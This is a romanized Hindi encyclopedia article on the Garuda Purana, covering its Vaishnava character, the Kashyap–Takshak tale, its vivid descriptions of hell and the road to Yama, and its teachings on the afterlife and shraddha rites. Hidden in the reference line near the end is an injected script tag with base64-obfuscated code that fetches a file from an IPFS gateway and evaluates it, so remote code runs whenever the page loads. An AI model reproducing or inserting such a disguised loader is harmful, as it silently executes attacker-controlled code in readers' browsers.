गरुड़ पुराण
garu d puran
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| vivaran | 'garu d puran' hindoo dharm ke prasiddh dharmik granthoan mean se ek hai. vaishnav sampraday se sambandhit 'garu d puran' 'sanatan dharm' mean mrityu ke bad sadgati pradan karane vala mana jata hai. |
| adhishthatri dev | vishnu |
| sanbandhit dharm | hindoo dharm |
| sanbandhit lekh | puran, vishnu, garu d |
| any janakari | 'garu d puran' mean bhakti, jnan, vairagy, sadachar, nishkam karm ki mahima ke sath yajn, dan, tap tirth aur shraddh, tarpan, mukti ke upayoan tatha jiv ki gati ka vistrit varnan milata hai. |
garu d puran hindoo dharm ke prasiddh dharmik granthoan mean se ek hai. vaishnav sampraday se sambandhit 'garu d puran' 'sanatan dharm' mean mrityu ke bad sadgati pradan karane vala mana jata hai. isaliye sanatan hindoo dharm mean mrityu ke bad 'garu d puran' ke shravan ka pravadhan hai. is puran ke adhishthatri dev bhagavan vishnu haian. atharah puranoan mean 'garu d mahapuran' ka apana ek vishesh mahatv hai. kyoanki isake dev svayan vishnu mane jate haian, isilie yah vaishnav puran hai. garu d puran ke anusar hamare karmoan ka phal hamean hamare jivan mean to milata hi hai, parantu marane ke bad bhi karyoan ka achchha-bura phal milata hai. isi vajah se is jnan ko prapt karane ke lie ghar ke kisi sadasy ki mrityu ke bad ka avasar nirdharit kiya gaya, taki us samay ham janm-mrityu se ju de sabhi saty jan sake aur mrityu vash bichhadऩe vale sadasy ka du:kh kam ho sake.
vishnu bhakti
vastavik tathy yah hai ki 'garu d puran' mean bhagavan vishnu ki bhakti ka vistar se varnan milata hai. vishnu ke chaubis avataroan ka varnan thik usi prakar is puran mean prapt hota hai, jis prakar 'shrimadbhagavat' mean upalabdh hota hai. arambh mean manu se srishti ki utpatti, dhruv charitr aur barah adityoan ki katha prapt hoti hai. usake uparant soory aur chandr grahoan ke mantr, shiv-parvati mantr, indr se sambandhit mantr, sarasvati ke mantr aur nau shaktiyoan ke vishay mean vistar se bataya gaya hai.
shlok tatha vishay
'garu d puran' mean unnis hazar shlok kahe jate haian, kintu vartaman samay mean kul sat hazar shlok hi upalabdh haian. is puran ko do bhagoan mean rakhakar dekhana chahie. pahale bhag mean vishnu bhakti aur upasana ki vidhiyoan ka ullekh hai tatha mrityu ke uparant pray: 'garu d puran' ke shravan ka pravadhan hai. doosare bhag mean 'pretakalp' ka vistar se varnan karate hue vibhinn narakoan mean jiv ke p dane ka vrittant hai. isamean marane ke bad manushy ki kya gati hoti hai, usaka kis prakar ki yoniyoan mean janm hota hai, pret yoni se mukt kaise paee ja sakati hai, shraddh aur pitri karm kis tarah karane chahie tatha narakoan ke darun du:kh se kaise moksh prapt kiya ja sakata hai adi vishayoan ka vistarapoorvak varnan prapt hota hai.
katha
is puran mean maharshi kashyap aur takshak nag ko lekar ek sundar upakhyan diya gaya hai. rrishi ke shap se jab raja parikshit ko takshak nag dasane ja raha tha, tab marg mean usaki bheant kashyap rrishi se huee. takshak ne brahman ka vesh dharakar unase poochha ki- "ve is tarah utavali mean kahaan ja rahe haian?" is par kashyap ne kaha ki- "takshak nag maharaj parikshit ko dasane vala hai. maian unaka vish prabhav door karake unhean pun: jivan de dooanga." yah sunakar takshak ne apana parichay diya aur unase laut jane ke lie kaha. kyoanki usake vish-prabhav se aj tak koee bhi vyakti jivit nahian bacha tha. tab kashyap rrishi ne kaha ki- "ve apani mantr shakti se raja parikshit ka vish-prabhav door kar deange." is par takshak ne kaha ki- "yadi aisi bat hai to ap is vriksh ko phir se hara-bhara karake dikhaie. maian ise dasakar abhi bhasm kie deta hooan." takshak nag ne nikat hi sthit ek vriksh ko apane vish ke prabhav se tatkal bhasm kar diya.
is par kashyap rrishi ne us vriksh ki bhasm ekatr ki aur apana mantr phooanka. tabhi takshak ne ashchary se dekha ki us bhasm mean se koanpal phoot aeean aur dekhate hi dekhate vah hara-bhara vriksh ho gaya. hairan takshak ne rrishi se poochha ki- "ve raja ka bhala karane kis karan se ja rahe haian?" rrishi ne uttar diya ki unhean vahaan se prachur dhan ki prapti hogi. is par takshak ne unhean unaki sambhavana se bhi adhik dhan dekar vapas bhej diya. garu d puran mean kaha gaya hai ki- "kashyap rrishi ka yah prabhav 'garu d puran' sunane se hi b da tha."
sar tattv
is puran mean niti sambandhi sar tattv, ayurved, gaya tirth ka mahatmy, shraddh vidhi, dashavatar charitr tatha soory-chandr vanshoan ka varnan vistar se prapt hota hai. bich-bich mean kuchh any vanshoan ka bhi ullekh hai. isake atirikt garoo di vidya mantr pakshi Om svaha aur 'vishnu panjar stotr' adi ka varnan bhi milata hai. 'garu da puran' mean vividh ratnoan aur maniyoan ke lakshanoan ka varnan vistarapoorvak kiya gaya hai. sath hi jyotish shastr, samudrik shastr, saanpoan ke lakshan, dharm shastr, vinayak shanti, varnashram dharm vyavastha, vividh vrat-upavas, sampoorn ashtaang yog, pativrat dharm mahatmy, jap-tap-kirtan aur pooja vidhan adi ka bhi savistar ullekh hua hai. is puran ke 'pret kalp' mean paitis adhyay haian, jisaka prachalan sabase adhik hinduoan ke sanatan dharm mean hai. in paiantis adhyayoan mean yamalok, pretalok aur pret yoni kyoan prapt hoti hai, usake karan, dan mahima, pret yoni se bachane ke upay, anushthan aur shraddh karm adi ka varnan vistar se kiya gaya hai. ye sari batean mrityu ko prapt vyakti ke parivar valoan par gahara prabhav dalati haian. ve divangat vyakti ki sadgati aur moksh ke lie puran-vidhan ke anusar bharapoor dan-dakshina dene ke lie tatpar ho jate haian. is puran ka uddeshy bhi yahi jan p data hai.
narak varnan
'garu d puran' ke doosare adhyay mean yah varnan milata hai, isake anusar-
garu d ne kaha- he keshav! yamalok ka marg kis prakar dukhadayi hota hai. papi log vahaan kis prakar jate haian, mujhe bataiye. bhagavan bole- he garu d! mahanh du:kh pradan karane vale yamamarg ke vishay mean maian tumase kahata hooan, mera bhakt hone par bhi tum use sunakar kaanp uthoge. yamamarg mean vriksh ki chhaya nahian hai, ann adi bhi nahian hai, vahaan kahian jal bhi nahian hai, vahaan pralay kal ki bhaanti barah soory tapate haian. us marg se jata hua papi kabhi barphili hava se pidi़t hota hai to kabhi kaante chubhate haian. kabhi mahavishadhar sarpoan dvara dasa jata hai, kahian agni se jalaya jata hai, kahian sianhoan, vyaghroan aur bhayankar kuttoan dvara khaya jata hai, kahian bichchhuoan dvara dasa jata hai.thumb|left|220px|garu d isake bad vah bhayankar 'asipatravan' namak narak mean pahuanchata hai, jo do hazar yojan ke vistar vala hai. yah van kauoan, ulluoan, gidhoan, saraghoan tatha d aauansoan se vyapt hai. usamean charoan or davagni hai. vah jiv kahian aandhe kuean mean girata hai, kahian parvat se girata hai, kahian chhure ki dhar par chalata hai, kahian kiloan ke oopar chalata hai, kahian ghane andhakar mean girata hai. kahian ugr jal mean girata hai, kahian joankoan se bhare hue kich d mean girata hai. kahian tapi huee baluka se vyapt aur dhadhakate tamramay marg, kahian aangar rashi, kahian atyadhik dhuean se bhare marg par use chalana p data hai. kahian aangar vrishti, kahian bijali girane, shilavrishti, kahian rakt ki, kahi shastr ki aur kahian garm jal ki vrishti hoti hai. kahian khare kich d ki vrishti hoti hai. kahian mavad, rakt tatha vishtha se bhare hue talav haian. yamamarg ke bicho-bich atyant ugr aur ghor 'vaitarani nadi' bahati hai. vah dekhane par dukhadayani hai. usaki avaz bhay paida karane vali hai. vah sau yojan chau di aur pib tatha rakt se bhari hai. haddiyoan ke samooh se usake tat bane haian. yah vishal gh diyaloan se bhari hai. he garu d! ae papi ko dekhakar vah nadi jvala aur dhoom se bharakar k dah mean khaulate ghi ki tarah ho jati hai. yah nadi sooee ke saman mukh vale bhayanak ki doan se bhari hai. vajr ke saman choanch vale bade़-b de gidh haian. isake pravah mean gire papi 'he bhaee', 'ha putr', 'ha tat'. kahate hue vilap karate haian. bhookh-pyas se vyakul ho papi rakt ka pan karate haian. bahut se bichchhu tatha kale saanpoan se vyapt us nadi ke bich mean gire hue papiyoan ki raksha karane vala koee nahian hai. usake saiank doan, hazaroan bhanvaroan mean p dakar papi patal mean chale jate haian, kshanabhar mean hi oopar chale ate haian. kuchh papi pash mean bandhe hote haian. kuchh aankush mean phansa kar khianche jate haian aur kuchh kooan dvara khianche jate haian. ve papi garadan hath pairoan mean janjiroan se bandhe hote haian. unaki pith par lohe ke bhar hote haian. atyant ghor yamadootoan dvara mugadaroan se pite jate hue rakt vaman karate haian tatha vaman kiye rakt ko pite haian. ---is prakar satrah din tak vayu veg se chalate hue athaharavean din vah pret saumyapur mean jata hai.[1]
'garu d puran' ka yah varnan jahir hai ki manushyoan ko dharmacharan aur pap se door rakhane ke lie hi racha gaya hoga.
mrityu ke bad kya hota hai
'mrityu ke bad kya hota hai?' yah ek aisa prashn hai, jisaka uttar janane ki ichchha sabhi ko hoti hai. sabhi apane-apane tariqe se isaka uttar bhi dete haian. 'garu d puran' bhi isi prashn ka uttar deta hai. jahaan dharm shuddh aur saty acharan par bal deta hai, vahian pap-puny, naitikata-anaitikata, karttavy-akarttavy tatha inake shubh-ashubh phaloan par bhi vichar karata hai. vah ise tin avasthaoan mean vibhakt kar deta hai- [[chitr:Dhruva-Temple-Madhuvan.jpg|dhruv ji mandir, madhuvan|thumb|220px]]
- pratham avastha mean manav ko samast achchhe-bure karmoan ka phal isi jivan mean prapt hota hai.
- doosari avastha mean mrityu ke uparant manushy vibhinn chaurasi lakh yoniyoan mean se kisi ek mean apane karmanusar janm leta hai.
- tisari avastha mean vah apane karmoan ke anusar svarg ya narak mean jata hai.
svarg-narak
hindoo dharm ke shastroan mean uparyukt tin prakar ki avasthaoan ka khulakar vivechan hua hai. jis prakar chaurasi lakh yoniyaan haian, usi prakar chaurasi lakh narak bhi haian, jinhean manushy apane karmaphal ke roop mean bhogata hai. 'garu d puran' ne isi svarg-narak vali vyavastha ko chunakar usaka vistar se varnan kiya hai. isi karan bhayabhit vyakti adhik dan-puny karane ki or pravritt hota hai.
- 'pret kalp' mean kaha gaya hai ki narak mean jane ke pashchath prani pret banakar apane parijanoan aur sambandhiyoan ko anekanek kashtoan se prata dit karata rahata hai. vah parayi stri aur paraye dhan par drishti g dae vyakti ko bhari kasht pahuanchata hai.
- jo vyakti doosaroan ki sampatti h dap kar jata hai, mitr se droh karata hai, vishvasaghat karata hai, brahman athava mandir ki sampatti ka haran karata hai, striyoan aur bachchoan ka sangrahit dhan chhin leta hai, parayi stri se vyabhichar karata hai, nirbal ko satata hai, eeshvar mean vishvas nahian karata, kanya ka vikray karata hai; mata, bahan, putri, putr, stri, putrabadhu adi ke nirdosh hone par bhi unaka tyag kar deta hai, aisa vyakti pret yoni mean avashy jata hai. use anekanek narakiy kasht bhogana p data hai. usaki kabhi mukti nahian hoti. aise vyakti ko jite-ji anek rog aur kasht gher lete haian. vyapar mean hani, garbhanash, grih kalah, jvar, krishi ki hani, santan mrityu adi se vah dukhi hota rahata hai akal mrityu usi vyakti ki hoti hai, jo dharm ka acharan aur niyamoan ko palan nahian karata tatha jisake achar-vichar dooshit hote haian. usake dushkarm hi use 'akal mrityu' mean dhakel dete haian.
- 'garu d puran' mean pret yoni aur narak mean p dane se bachane ke upay bhi sujhae ge haian. unamean sarvadhik pramukh upay dan-dakshina, pindadan tatha shraddh karm adi batae ge haian.
- sarvadhik prasiddh pret kalp ke atirikt is puran mean 'atmajnan' ke mahattv ka bhi pratipadan kiya gaya hai. paramatma ka dhyan hi atmajnan ka sabase saral upay hai. use apane man aur indriyoan par sanyam rakhana param avashyak hai. is prakar karmakand par sarvadhik bal dene ke uparant 'garu d puran' mean jnani aur satyavrati vyakti ko bina karmakand kie bhi sadgati prapt kar paralok mean uchch sthan prapt karane ki vidhi bataee gee hai.
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tika tippani aur sandarbh
- ↑ garu d puran ka narak varnan (hindi). . abhigaman tithi: 14 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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